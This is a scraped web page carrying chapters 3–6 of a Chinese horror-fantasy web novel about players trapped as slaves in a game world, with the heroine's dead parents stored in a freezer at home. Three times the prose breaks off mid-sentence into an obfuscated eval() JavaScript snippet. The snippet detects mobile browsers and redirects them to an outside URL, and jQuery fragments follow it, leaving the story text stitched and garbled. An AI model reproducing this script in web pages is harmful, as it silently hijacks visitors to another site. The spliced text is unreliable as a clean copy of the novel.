《死欲横流》
3. 荒服03
在游戏世界度过的第二个夜晚。
奴隶们睡得东倒西歪,蛮蛮吃下丹药,腿伤止血,虚弱地蜷缩在玄松身旁。
“真恶心。”俞雅雅盯着男蛮女蛮坑坑洼洼的腿,碎肉渣子就那么挂着,令人寒毛耸立。
黑衣小哥盘腿闭目养神,涂灵见他嘴唇微动,双手搭在膝头,右手指古怪地捏起,她只瞥两眼,不动声色,当做毫无觉察。
“已经两天了。”俞雅雅挨着涂灵叹气:“不知道现实那边怎么样,我是昏迷还是盯着电脑一动不动,爸妈肯定吓坏了。”
涂灵随口说:“游戏里的时间可能和现实不一样。”
“啊?”俞雅雅警觉地直起背,面露慌张:“该不会我们在这里度过几十年,现实才过去几分钟吧?!”
涂灵想了想:“那倒不至于。”
“万一就是这样呢?!我们现在还没弄清楚离开游戏的方法,搞不好得过完一生才走得掉!”
涂灵思忖:“一周前我妈接触这个游戏,刚开始没什么瘾,正常上班吃饭,所以我猜肯定有机会出去。”
俞雅雅一听赶忙抓住她:“原来你妈妈是老玩家?!那她有没有告诉你怎么玩这游戏?”
涂灵摇头:“我在外地上学,前几天才放暑假回家。”
俞雅雅满脸颓丧。
“不要,不是我……”大熊做噩梦,眉头拧紧,爪子发颤,两腿猛地往前一蹬,醒来冷汗淋淋。
“怎么了?”俞雅雅被他吓一跳。
大熊捂住心口,屁股往黑衣小哥身旁挪,惊恐张望四周:“我,我梦见死在峡谷里的两个人,怨我不救他们……”
涂灵一动不动盯着,俞雅雅脸色僵硬:“别胡思乱想,又不是你害死的,他们要报仇,应该首先去找老妖道。”
大熊缩起身体环抱膝盖:“你们能忘掉他们死前的样子吗?我一闭上眼睛全是那个画面,怎么甩都甩不掉。”
这时黑衣小哥倏地睁开眼,屏息注视前方。涂灵顺着他的视线望向林子,黑黢黢,像藏着可怕东西的巨大洞口。
有什么东西晃荡着移动出来。
涂灵屏住呼吸,不由站起了身。
两只影子歪头斜脑,维持一种僵硬的扭曲动作,走姿十分怪异。
“那是谁?!”俞雅雅指着黑影大惊。
玄松也睁开眼。
黑影逐渐显现真容。
“是那两位兄弟!”大熊又惊又喜:“他们回来了!他们还没死!”
玄松眯起双眼,狐疑地盯紧打量:“没死?”
俞雅雅抱住涂灵的胳膊:“你不是说老妖道做法镇魂?他们现在回来,是不是当时就没死?”
涂灵眉宇紧蹙:“当心着点儿。”
先前跟壮汉连在一起的另外三人哆哆嗦嗦询问:“兄弟,你、你们咋了?吱个声啊!”
话音落下,两只黑影停下步伐,稍微转动方向,朝着三人辨认片刻,突然撒开腿狂奔而来。
“啊——”三人意识到危险想跑,可蛇皮绳绑着脚,你拉我扯,没跑两步乱糟糟摔成一团。两只黑影犹如饿鬼扑食,对准脖子猛啃。
“咯咯嘎嘎”,骨头被咬断。
“哇呜哇呜”,狼吞虎咽吃急了。
俞雅雅张嘴就要尖叫,涂灵反应快,一把将她的嘴捂住。
“他们好像对声音很敏感,别出声!”
一旁的大熊闻言也赶忙捂住自己的嘴。
玄松定睛观察,冷笑着抽出桃木剑:“竟然变成毒尸?呵,送上门来,本道便让你们永不超生!”
玄松持剑跃身而上,奴隶们惊慌躲远,生怕成为下一个被吃的。
“吾含天地炁,咒毒杀鬼方!”
那玄松步伐杂乱,剑法不成招式,不像受过正统门派的训练,他自称道人,估计就是个半路出家的游方歪道。
两只毒尸被桃木剑刺中,狰狞暴起,遂与玄松打作一团。
被毒尸啃咬的三人痛苦扭动,皮肤底下的血管变成黑色,发芽似的蜿蜒疯长。
“蛮蛮,取符纸!”玄松大喊。
涂灵见状沉声道:“趁他们分身乏术,现在逃跑是最佳时机。”
俞雅雅猛地转头看她:“可是我们脚上缠着蛇皮,怎么逃?”
涂灵忽然定睛望向黑衣小哥:“你不是偷学了咒语吗?练得怎么样,能不能解?”
闻言大熊错愕打量:“啊?小哥你偷学了咒语?”
对方若有所思看着涂灵,似乎对她的洞察很意外。
“该不会想自己一个人逃走吧?”涂灵有些咄咄逼人:“你不吭声,但一直在观察我们所有人,玄松几次施法你都盯得格外认真,大家休息时你闭目打坐,难道不是在练习咒语吗?”
黑衣小哥目色深邃,似乎笑了笑,随后开口:“是。”
“卧槽,哥,你会说话呀?”大熊以为他是哑巴来着。
“那你学会了吗?快给我们解开蛇皮!”俞雅雅着急。
小哥摇头:“我试过了,没有炁,就算记住咒语也没用。”
涂灵拧眉思忖,决定死马当活马医:“我听过一个初乘小周天的口诀,不过得先打通尾闾、夹脊、玉枕三穴,你知道怎么炼精化炁吗?”
黑衣小哥想了想,当即静坐盘膝。
“清净止念,心神意三者集中于脐下丹田,静心守候,直到感觉丹田中生出一股暖气,那就是真炁。”没时间了,涂灵也不管他能领悟多少,自顾念诀:“呼吸自然神炁恋,阳生起火火方全。周天初用分子午,爻象阴阳六九连……”
那边黄纸漫天纷飞,玄松用剑串起,威力大增,毒尸碰到黄纸就被灼烧,皮肉烧出黑焦的洞,好像烤熟了。
玄松趁他们躲避符纸之际,飞快削去头颅,两颗脑袋滚落地面,嘴巴还在一张一合。
“用火烧!”
“是,爹!”蛮蛮得令,用黄纸引火,点燃两具尸身和头颅。
被毒尸攻击的三个奴隶还没断气,蠕虫似的扭曲喘息,痛苦嘶叫。
玄松冷眼瞥着:“以防万一,都烧了吧。”
蛮蛮无条件听从吩咐,问也不问,二话不说点火烧人。
大熊嗓子发抖,惊恐万状:“他、他们还活着呀……”
活活烧死,凄厉惨叫穿透夜空。
涂灵屏住呼吸面无血色,俞雅雅缩在她身后发抖,紧闭双眼不敢直视。
蛮蛮问:“这下该死透了吧?”
玄松不语,表情凝重,似乎也拿不准:“需得尽快过河才行。”
“可是水里有食人鱼,爹想到过河的办法了吗?”
玄松拧眉:“方才师父并未入梦相见……妈了个巴子,都怪那两只毒尸干扰!待我再入梦境找师父求助,你们都不许说话。蛮蛮,看住奴隶,莫要走远。”
“是,爹!”
玄松走向河边,背对众人坐下,尝试与山神昆崖取得联系。
“怎么办?”俞雅雅按住自己的心口,嘴唇惨白:“还有机会逃吗?”
涂灵回头看着身后的黑衣小哥,刚才杀鬼焚尸那么大阵仗,他竟然能够不受干扰专注静坐,倒有几分修道的天分。
“没事吧?”大熊把所有希望寄托在他身上:“脑门冒这么多汗珠子。”
正说话,小哥忽然睁开眼,大口喘息,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923273|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
额角的筋脉都胀起来。
涂灵没想到他反应如此激烈,当即蹲下身扶住他的肩膀查看:“如何?”
小哥用力吞咽唾液,眉头拧紧,瞳孔飞快晃动。大家第一次见他慌乱的样子,顿时脸色僵硬。
“只是运行小周天而已。”涂灵见他失神,用力拍两下:“没问题吧?”
黑衣小哥缓缓摇头:“静坐运炁时感受到一些别的东西……”像磅礴的浪潮汹涌覆盖。
涂灵沉默片刻,不管他感受到什么,直奔目标:“能不能运用法术?”
他还是摇头。
俞雅雅叹道:“哎呀,那老妖道修炼多少年,你让小哥一晚上学会法术,不现实啊。”
大熊琢磨:“或许我们跟着玄松见到昆崖就能被放了?山神总不会随便害人吧?”
涂灵羡慕他的天真:“害不害人不知道,只怕半路我们就团灭了。”
“这……怎么说?”
“如果玄松没有找到渡河的办法,你猜他会不会故技重施,用奴隶当肉盾引开食人鱼。”
“……”
气氛沉重,大家都不作声了。
涂灵看看黑衣小哥,说:“没到最后一刻,别灰心,你抓紧时间修练。”
“嗯。”他赞同。
涂灵问:“对了,你叫什么名字?”
小哥略微一怔,停顿数秒才回答:“宋建国。”
大熊和俞雅雅对上视线,没想到他的名字这么复古大众,也不知是不是胡诌的。
“那,小宋哥,你要不要歇会儿?”大熊问。
宋建国不语,盘起腿闭上眼,两手结印,成太极诀,再次进入修练状态。
俞雅雅轻叹一声,一屁股坐下,脱掉草鞋,查看双脚破皮结疤的地方。
涂灵亦十分疲惫,两指按揉眉心。
皎洁的圆月悬挂夜空,不远处躺着五具烧焦的尸体,蛮蛮收拾法器,毛驴打盹儿,周遭静极了。
困意袭来,涂灵环抱胳膊闭上眼,本想稍微眯一会儿,谁知就睡了过去。
刚刚沉入梦乡没多久,一阵单调乏味的杂音试图将她吵醒。
那声音非常熟悉,不就是手机默认的来电铃声吗?
——等等,手机铃声?
大荒世界哪儿来的手机?
涂灵猛地惊醒,睁开眼,愕然发现面前正对着电脑屏幕,她坐在椅子上,竟然毫无预兆地回到现实世界了?!
鼠标旁边的手机还在响铃震动,涂灵恍然好几秒才回过神,匆忙接起。
“喂?”
“灵啊。”是小姨:“你妈怎么不接电话?信息也不回,她忙什么呢?”
涂灵看着黑屏的电脑,模糊映出自己的轮廓,像只鬼魅。
“我妈和我爸出门旅游了。”
“去哪儿?怎么突然旅游?店里生意不管吗?”
“休假了。”涂灵的语调平淡得没有任何破绽,起身往主卧走:“前段时间沉迷网络游戏,夫妻关系紧张,得想办法补救一下,你别打扰他们过二人世界。”
小姨叹道:“就是啊,人到中年沉迷网游,说出去都好笑,我劝过她多少次了。”
涂灵推开父母房间的门,瞧着摆放在床侧的长方形冰柜,面无表情走近,掀开盖子,白色薄雾翻腾飘荡,零下二十度的寒气扑面萦绕。
“你爸妈什么时候回来?”小姨问。
涂灵垂眸看着冰柜里屈膝蜷缩的两具尸体,麻木道:“一周,半个月?我也不确定。”
“他们没说吗?”
“没有。”
什么都没说,招呼也不打,毫无预兆变成现在这样。
4. 荒服04
“那行吧,你现在在家吗?”小姨在电话那头说:“我做了酱牛肉,给你送一盒。”
涂灵蹙眉,脱口拒绝:“这么热的天,别麻烦了,况且我不喜欢吃肉。”
“哎呀麻烦什么,我就在楼下,马上进电梯了。”小姨风风火火:“信号不好,先不说那么多,给我开门吧。”
涂灵看着手机屏幕,心里感到略微烦躁,关上冰柜退出卧室,用钥匙把房间的门锁住,然后转身走向玄关。
小姨这就到了,带着保鲜盒,跟回自己家似的,轻车熟路换拖鞋:“家里没人了,谁给你做饭,晚上吃什么?”
涂灵回:“随便吃点儿。”
小姨说:“不如你去我那儿住,弟弟暑假天天往外跑,瞎玩瞎混,明年就高考了,你帮我督促他学习。”
涂灵两手抄在短裤口袋里,话语直接:“不了,我想自己待着。”
小姨将保鲜盒放在餐桌上,径直走进厨房,找到上次带的砂锅:“这个我拿回去煲汤。你妈也是的,出门不跟我说一声。”
涂灵垂下眼帘。
“不过我最近没空管她,家里老婆婆要动手术住院,我和你姨父得轮流陪护……”
小姨自顾滔滔不绝,拎起砂锅,又把厨房的垃圾收走,没有留意涂灵阴沉怪异的神色。
“行,你一个人在家没问题吧?”
“嗯。”
“少吃外卖,自己随便做点儿,我先走了。”
“好。”
小姨离开,偌大的房子陷入沉寂,涂灵看着桌上的酱牛肉,她从小到大不怎么爱吃肉,但这两天就啃了一个果子,实在饿得厉害,于是抄起筷子大快朵颐。
黄昏落日从玻璃窗投下斜斜的光影,墙上的挂钟指向五点十分,她记得自己大概下午三点打开电脑,在异世界被折磨两天两夜,实际才过去两个钟头而已?
可她是怎么回到现实的?其他人呢?
“进游戏,救活你父母。”
两天前,涂灵在回家的高铁上睡着,醒来看见手机屏幕出现这句话,半分钟后消失,她以为是什么病毒,虽然古怪,却没太在意。
回到家按门铃,无人响应,她按密码锁,家中空空荡荡,厨房料理台摆着备好的食材,电饭煲冒出热气,似乎等女儿到家就可以热锅炒菜。
涂灵以为父母出去买东西,打电话,手机铃声却从屋内传来。
她走进主卧,看见爸妈双双歪靠在床头,腿上搁着笔记本电脑,他们像是睡着了。
涂灵喊了两声,没有得到任何回应,过去推推,身体都凉了,呼吸脉搏全无。
当天下午涂灵到电器城订了一台冰柜。
晚上她对着莫名死掉的父母枯坐整夜。次日冰柜送货上门,等师傅走了,涂灵将冰柜推入卧室,插上电源,先抱起妈妈放进去,再抱起爸爸放进去。
“进游戏,救活你父母。”
这句话不是手机病毒,涂灵相信是给她的提示。
科学和玄学之间她毫不犹豫选择后者。
科学或许能找出父母的死因,但仅此而已,玄学却有可能让他们活过来。
笔记本已经关机,涂灵拿回自己房间,插上电源,开机。
桌面十分简洁,除了一些基础软件,只剩一款名叫“深瞳”的游戏格外突兀,图标圆圆的,一团黑,就像黑洞。
涂灵握住鼠标双击点开,眨眼间就“掉”了进去,变成大荒世界任人宰割的奴隶。
可是该怎么救活父母,一点头绪都没有。
游戏里存在着奇珍异兽、妖魔鬼怪、旁门左道,还有玄松口中的山神昆崖,难不成她得寻找灵丹妙药,或者求仙问道?
然而她一个奴隶,别说救人了,在那破地方保命都成问题。
涂灵机械地吃酱牛肉,中途去冰箱拿两瓶冰啤酒解渴。她和她妈林娅真都是用啤酒当饮料喝的人,千杯不醉。
吃饱喝足,涂灵返回卧室坐到书桌前。
刚才她是被来电铃声叫醒的,也许这就是退出游戏的方法,虽然没把握,不确定,但涂灵没什么犹豫,调了一小时的闹钟,然后唤醒待机的电脑。
白色迷雾铺满屏幕,正中间只有单调的四个汉字:进入游戏。
涂灵移动鼠标,点击。
白雾在眼前移动,带着微风扑来将人包围,就是这熟悉的感觉,几秒钟后迷雾慢慢消散,面前的景象愈渐清晰,她回到荒服,仍在那条清澈的河边,天已大亮。
“啊——”
惨叫声刀子似的刮痛耳膜。
蛮蛮把一个奴隶丢进了河中。
玄松面色阴沉,眉心纹路深刻,他紧盯住水里的动静,见食人鱼密密麻麻涌向奴隶,不过须臾间将他包围,张开尖利的牙齿撕咬啃噬,鲜血好似染料被打翻。
玄松想趁机渡河,可脚刚沾到水,另一边的食人鱼闻着血腥味游近,成百上千,一个成年人根本不够它们饱腹,脑袋纷纷冒出水面,冲着岸边不停张嘴。
“孽障!”眼看这招不管用,玄松焦躁暴怒,不断来回踱步。
惨叫声停止,河里的奴隶只剩一堆骨架,吃到肉的怪鱼散开,另一波鱼上来,把骨头架子也给啃干净。
涂灵身旁的俞雅雅猛地瘫坐在地,面如死灰。
小宋哥还在凝气运息,满头湿汗。剩余的奴隶都被吓得几乎失常。
“爹,山神爷爷怎么没显灵?”
玄松骂道:“昆崖这臭老头,老子千里迢迢费尽心力来此地见他,关键时候却指望不上!”
“爹,现在该怎么办?”
玄松已经没了办法,焦急地转来转去,河里那堆独眼怪鱼扰得他怒火中烧,回头扫视奴隶,目光阴狠,忽然指着老头和郑大熊:“把那两个丢下去!我就不信了,一次两只活物,它们吃得过来?!”
蛮蛮得令这就上前抓人。
“不、不要啊!我不好吃的!”
“你这么肥,肯定能把鱼都引走!”蛮蛮揪住大熊的领子,拖他往河边去。
“救命!”
涂灵站起身:“慢着,我知道怎么过河。”
玄松转而盯住她打量:“你?”
“先放人,否则就算把我们全部喂给食人鱼,你也渡不了这条河。”
玄松冷笑,抬手示意蛮蛮停下:“说说你的办法。”
涂灵用力抿了抿嘴:“道长修行,想必知道自然当中万物相生相克,这地方既然孕育出能食人肉的怪鱼,便一定有克制它的天敌。”
“天敌?是什么?”
涂灵:“我在书上看过一种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923274|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
形似苏草的植物,名叫葶苎,开红花,可以毒鱼。水边草木茂盛,何不先找找?”
玄松狐疑地打量她:“小丫头片子,讲话倒很沉稳。”说着冷笑一声:“也罢,就依你所言,找到便万事大吉,若找不到,你自个儿麻利地跳河吧。”
涂灵瞥向水面张着大嘴嗷嗷待哺的怪鱼,用力攥紧手指。
一行人分成两队在四周搜索,俞雅雅小声问:“真有这种草吗?”
涂灵摇头:“只是书中记载,没人亲眼见过。”
俞雅雅大惊失色:“啊?那你……”
涂灵心想目前只能走一步算一步,尽量拖延时间,她定了闹钟,要是能撑过一天就可以回到现实,不用受生吞活剥的痛苦。
“爹,是不是这个!”女蛮举起一撮红色草花献给玄松。
草花丢入水面,被怪鱼吞进口中,顷刻间又吐了出来。
“不对,再找。”玄松阴鸷的目光盯向涂灵。
日头愈渐毒辣,俞雅雅满头虚汗,嘴唇惨白:“我真的不行了,头好晕……”
涂灵见她快昏倒,随手摘一颗果子递过去:“吃点儿东西。”
俞雅雅虚弱地拖着步子:“你体力真好啊,三天了,不饿吗?”
“我不饿。”
“我怕真要死在这儿了。”俞雅雅哀叹:“死了以后会回到现实世界吗?我好想回家……唉,算了,不想那么多,死就死吧。”
涂灵见她意志薄弱,竟然生出求死之心,不禁宽慰道:“天无绝人之路,别想那么多,现在还没到最后一刻。”
“嗯。”
毒日头底下约莫又找了一个多小时,忽然蛮蛮兴奋大喊:“成了!爹,成了!”
玄松眼见那一小撮杂草丢进河中,那些怪鱼就像猫儿闻到猫草蜂拥而上,含在口中,即刻便如遭到电击昏死过去,浮上了水面。
玄松睁大布满细纹的双眼:“在哪儿找到的?快全部割来!”
“是!”蛮蛮掏出匕首,嫌奴隶慢,推开他们,一鼓作气弯腰割草,不一会儿就割了满满一大摞,用衣裳兜着:“爹,够吗?”
玄松连连点:“好,好,即刻启程!”
女蛮率先下河走在前面开路,那葶苎洒下去,怪鱼便晕死一大片。
奴隶们怀中也兜着救命的草花,边走边洒。
“涂灵,我害怕。”俞雅雅嗓子发颤。
行至河中央,水已经漫过大腿,不断有怪鱼朝他们游来,脑门上的独眼像是蠕动的肉瘤,牙齿细长尖利,每每游近他们腿边就会张开大嘴,所有人吓得心脏绷紧,瑟缩不已。接着怪鱼被葶苎吸引,改道去吃草花,然后被毒麻痹。
玄松率先牵驴上岸,回头眺望河面,朗声大笑:“凭你什么食人怪鱼,能奈我何!”
奴隶们也陆陆续续成功登岸,这时涂灵发现女蛮不太对劲,立在原地晃头晃脑,左眼瞳孔歪到左上角右眼瞳孔歪到右下角,就像两颗滚动的弹珠,显得十分痴呆。
玄松也觉察不对劲,神色一紧,四下张望,这才发现男蛮竟然留在对岸不敢下水,想是昨天被怪鱼咬怕了。
涂灵眯眼观察,见男蛮也如女蛮这般痴痴傻傻的模样,仿佛失去神智。
玄松扬起三清铃,厉声高喊:“蛮蛮,还不过来?!”
5.荒服05
男蛮听见铃声,摇摇摆摆走进河里,到了水中央,瞳孔不再乱晃,神志也恢复清明。
“爹!”
“快些上岸!”
涂灵再瞧,几乎同一时间,女蛮也变回正常。
好古怪的两个东西。
“师父保佑,天不负我。”玄松一扫阴霾,又露出一副和善的模样:“大家辛苦几日,一定都饿了吧,方才也算淌过鬼门关,休息片刻,好好吃一顿再走。”
说罢他便吩咐蛮蛮去打猎:“尽快回来,不要贪玩,你们两个切记不可分开太远。”
“放心吧,爹。”
玄松寻了一块干净的大石头盘腿坐上去,居高临下扫视一圈儿,目光落在涂灵身上,略笑了笑:“丫头,这次大家能顺利脱险,全靠你的功劳。”
涂灵不语。
“你有什么心愿,说说看,或许贫道能够帮你实现。”
俞雅雅低着头,悄声嘀咕:“让他放我们走……”
涂灵没那么天真,也不相信玄松会帮她实现什么心愿,思忖片刻,问:“道长可知起死回生的妙法?”
“什么?”玄松惊讶地瞧着她,然后仰头大笑:“好贪心的丫头,我修行数十载,只能求个延年益寿,增岁增福,你竟敢妄想起死回生?哈哈哈哈,也罢,等见了山神,贫道替你问问他老人家。”
涂灵点了点头。
大熊挪过来小声问:“你求这个做什么,谁死了?”
涂灵抬起眼睛,一声不响看着他。
大熊干咳,悻悻地闭嘴:“当我没说。”
没过一会儿蛮蛮回来,两人抬着一头野山猪。
“爹,这下够吃吧!”
玄松掀起眼皮瞥了眼:“嗯,分给大家。”
大熊叹一口气,轻拍俞雅雅的肩膀:“有肉吃了,饿不死,饿不死。”
蛮蛮用匕首插入猪脖子,往下划拉,割开猪肚,将内脏全部掏出,然后砍下猪头,对半切开,再分割猪肉。
“给,拿着吃吧!”
一大块血淋淋的生肉丢到奴隶们怀中。
大熊嘴角颤抖:“就、就这么吃?不如生火烤一烤……”
话音刚落,男蛮大步走来,掐住他的双颊,直接把猪肉往他嘴里塞。
“废话那么多,我们辛苦打猎,你还敢提要求?”
大熊满眼噙泪,嘴里堵着肉,含含糊糊求饶:“我吃,我吃。”
男蛮松开他,走向女蛮,两人坐在地上,抱起猪内脏大快朵颐,吃得满嘴血污。
俞雅雅又想吐,但强行忍住了。
大熊悄声啜泣,瘫坐在地,不住地流泪。
俞雅雅安慰他:“算了,这地方如毛饮血,就当吃三文鱼吧。”她垂眸看着手里带着血丝的生肉,咬紧牙关闭上眼,送入口中。
涂灵这会儿不饿,她前面的男人狼吞虎咽,吃完一块还不够,涂灵就把自己这坨肉给了他。
忽然几声嗤笑传来,玄松瞥着众人,目露轻蔑,仿佛他们是什么不堪的低等生物。
涂灵觉得不大舒服,问:“道长不饿吗?”
玄松从袖子里掏出一只布袋,又从袋子里拿出一颗小小的蛋,比鹌鹑蛋大不了多少。
“我吃这个。”
石头边的黑毛驴突然暴躁起来,踏蹄嘶吼,甚至企图冲撞玄松。
“孽畜!造反了你!”
蛮蛮闻声抄起拂尘,将黑毛驴抽打一通,打得它不敢出声为止。
玄松哼道:“此乃哭鹊之卵,一颗即饱腹,七日无需进食。”
这么神奇?
玄松随手敲碎蛋壳,仰头倒进嘴里,大伙儿看得目瞪口呆。
“显摆什么?”俞雅雅冷冷低喃:“放现代社会,他就是个野人,邪魔歪道,该被社会主义铁拳锤死!”
涂灵琢磨:“他手上的好东西倒不少。”
一餐过后,众人继续赶路。
爬上陡峭山峦,拨开茂密的野草,这地方荒凉幽僻,从未有人来过,根本没有路,算被他们硬生生走出来了。
“当心,贴着石壁。”
又穿过狭窄的挂壁小道,脚下是万丈深渊,大家屏住呼吸不敢松懈。
约莫四五个小时后来到一处悬崖洞府,洞前有一块开阔的石台,绝壁中生长出挺拔的松树,枝繁叶茂。石台周围杂草丛生,遍地枯叶。
“就是这儿……”玄松看看兽皮地图,接着打量面前被藤蔓和枯枝遮挡的山洞,忽然双膝跪下,磕头行礼:“师父,弟子玄松来了!”
蛮蛮也跟在后面跪下。
奴隶们面面相觑,盯着黑漆漆的洞口。
半晌没动静,玄松也有点纳闷,探头张望,猛地想起什么,赶忙从行囊拿出香烛点燃,插在土里。
“弟子叩拜师父!”
一阵风刮过。
不,好像山洞在吸气,把风带了进去!
涂灵看见地上的三支长香以不可思议的速度飞快燃尽。
随即洞口缠绕的枯枝焕发新生,抽出嫩芽,长出了翠茵茵的绿叶!
涂灵心脏重重跳动,如此神通,难道真是山神?
“玄松啊。”洞里轰鸣般发出浑浊的声音:“好徒儿,你进来吧 。”
玄松稍作迟疑,缓缓站起身,挪近洞口,拨开分杂的枝条走了进去。
大熊忽然问:“你们说,这山神是善还是恶?”
俞雅雅嗓子干涩:“神仙…难道会作恶吗?”
涂灵知道他们和自己一样抱着几分侥幸心理,但此时必须戳破幻想:“至少在汉代以前,神在道德上是模棱两可的,善恶并不那么泾渭分明。庇护人类不是神的天职,更多时候只是交易。”
大熊和俞雅雅张着嘴不吭声。
“我们恐怕得马上离开。”涂灵盯住洞口:“我担心玄松带奴隶来,是要献祭给山神。”
“啊?不会吧?”
“可我们怎么逃?脚上的蛇皮还没解开呢!”
涂灵说:“以后再想办法解咒,玄松的法术有限,离得远未必有效,那两只毒尸镇压失败可能就是因为他做法时距离太远。”
俞雅雅忙说:“两个蛮蛮在这儿守着,怎么走得掉?”
涂灵说:“玄松只让他们干苦力活儿,没有教法术。”
大熊着急:“他俩力气那么大,能徒手打死一头野猪,我们这群人恐怕不是对手。”
“他们是弱智。”涂灵说。
“啊??”
“我猜测他们分开一段距离就会变成弱智。”涂灵语气肯定:“还记得上午过河吗?玄松也不让他们离得太远,这两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930412|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个怪东西合在一起才正常。我来想办法先把其中一个支开。”
说着瞥向宋建国,见他双眸紧闭,额头大汗淋漓,口中不断嘟喏,似乎已到关键时刻。
“小宋哥脑袋怎么冒烟了?!”大熊吃惊。
涂灵走到他跟前蹲下:“宋建国,怎么样?”
“快了。”他说。
“好。”涂灵低声对大家说:“一会儿我把一只蛮蛮骗进洞,不管小宋哥能不能解开蛇皮,我们都要拼了命地往山下跑,剩下那个蛮蛮必定会来追,只要撑过十五丈的距离,他就会变成智障,失去杀伤力……”
奴隶们在外面计划逃跑,玄松走进潮湿的山洞,光线愈渐幽暗,他眯起眼,看见石壁下一只鬼魅般的身影,比平常人大两三倍,身上遍布扭曲的藤蔓,也不知是从他血肉里长出来的东西,还是把他当栖息之地共生。
“徒儿,怎么不上前来?”
玄松心下一颤,垂首走近,那昆崖俨然一个庞大树人,脸庞犹如千年树皮,却长着人的五官,哪里是梦中仙风道骨翩然飘逸的模样。
“师父……”玄松满心别扭地跪下,四周地面散落着一些动物骸骨,蛇虫鼠蚁,蝙蝠、□□、蜈蚣,死后尸体腐烂,化作肥料滋养土壤,使藤蔓不至于枯萎。
一股恶臭袭来,想到昆崖或许也靠这些死尸的养分存活,玄松胃里翻江倒海,险些吐出来。
他强制稳定心神,拱手道:“徒儿千里迢迢跋山涉水,终于见到师父了。”
昆崖说:“双目复明,可还好用?”
玄松忙笑道:“好用,多谢师父提点,徒弟才得见天日。这次带来九个奴隶,献与师父。”
“嗯,你有心了。”
玄松抬眼匆忙瞥了瞥:“为师父效劳应该的……那个,徒儿阳寿将尽,恐日后不能为您尽孝,还请师父赐下妙法,让徒儿再多孝敬您几年!”
昆崖道:“我让你来,正是为了你的性命。”
玄松叩头:“悉听师父教诲。”
昆崖道:“为师困在此地,神力渐逝,待我吃了那几个奴隶,恢复灵气,便可为你续命一年。明年大限之前你再带人献祭,为师再替你续命一年,如何?”
玄松眉头拧紧,心下大骂这老头阴险,脸上却还得笑着:“这方子虽好,只是让您老人家受累了。不知师父有没有别的秘法,让徒儿自行修炼,也不必耗费您的神通……啊,徒儿必定每年前来探望师父,给您献上活物。”
昆崖往前挪动,身上的泥土石块扑簌簌掉落:“你想自行修炼?”
玄松绷紧身体:“是,您神通广大……”
“办法倒有。”昆崖说:“你留在洞中,为师可助你长生不死。”
“长生不死……”玄松眉梢猛跳:“此话当真?”
“为师何时骗过你啊?”
玄松难掩兴奋:“那,徒儿留在洞中,多久能学会长生的法子?”
昆崖冷笑:“自然是永生永世咯。”
玄松脸色大变:“什么?!”
昆崖道:“这些藤蔓是上古灵枝,我教你与它融为一体,只要它活着,你便不死,再活个千年都不成问题。”
玄松满头冷汗,心想这老头莫非诓骗他来这儿,想把他留下作伴?
“乖徒儿,你意下如何?”
6.荒服06
玄松干笑两声:“多谢师父美意,徒儿自然希望常伴您身边服侍,但我留在洞中,谁给您老人家送活物呢?呵呵。”
洞中师徒二人虚与委蛇,洞外的奴隶们不愿任由宰割,已准备逃亡。
涂灵朗声开口:“玄松道长进去那么久,不会出事了吧?”
俞雅雅附和:“很有可能,我听说某些山神根本就是妖怪,把人骗进洞里吃掉。”
大熊说:“可怜玄松道长,不知是死是活,他养大的两个孩子竟然也不着急。”
蛮蛮闻言回头怒斥:“闭嘴!我爹法力高强,你胆敢诅咒他?!”
涂灵说:“并非诅咒,道长进去这么久,你们不担心吗?里面若有什么危险,你们二人都不在身边,谁来保护他?”
蛮蛮相互对看。
俞雅雅拖长调子哦一声:“原来你们害怕危险,不敢进去。”
蛮蛮怒道:“放屁!我们为爹死都不怕!”说着女蛮朝山洞走,嘱咐男蛮:“你看着他们。”
“知道。”
等人进去,涂灵当即凑到小宋哥跟前:“先走吧,来不及了。”
蛮蛮手执拂尘:“你们在干什么?不准偷偷说话!”
他急步而来,狠狠抽打奴隶:“散开!”
涂灵肩膀挨了一下,疼痛钻心,她怕玄松很快就会出来,咬牙催促:“宋建国!”
小宋哥倏地睁开眼,双手结印,口中默念咒语,接着猛地指向地面,众人脚腕束紧的蛇皮就此松开。
“成了!”大熊惊喜大喊。
涂灵道:“跑!”
众人应声往山下狂奔。
蛮蛮错愕不已,当即甩出拂尘,缠住一人颈脖将其拽回。他弹跳能力惊人,好像腿上装了弹簧,两步就蹦到涂灵身前,抬脚踢向她腹部。
涂灵猛地往后飞了五六米,摔倒地面,小腹剧痛。
小宋哥见状大步返回,想扶起她一块儿走。
“别管我!快跑啊!”
小宋哥皱紧眉头:“你还能动吗?”
“我……”
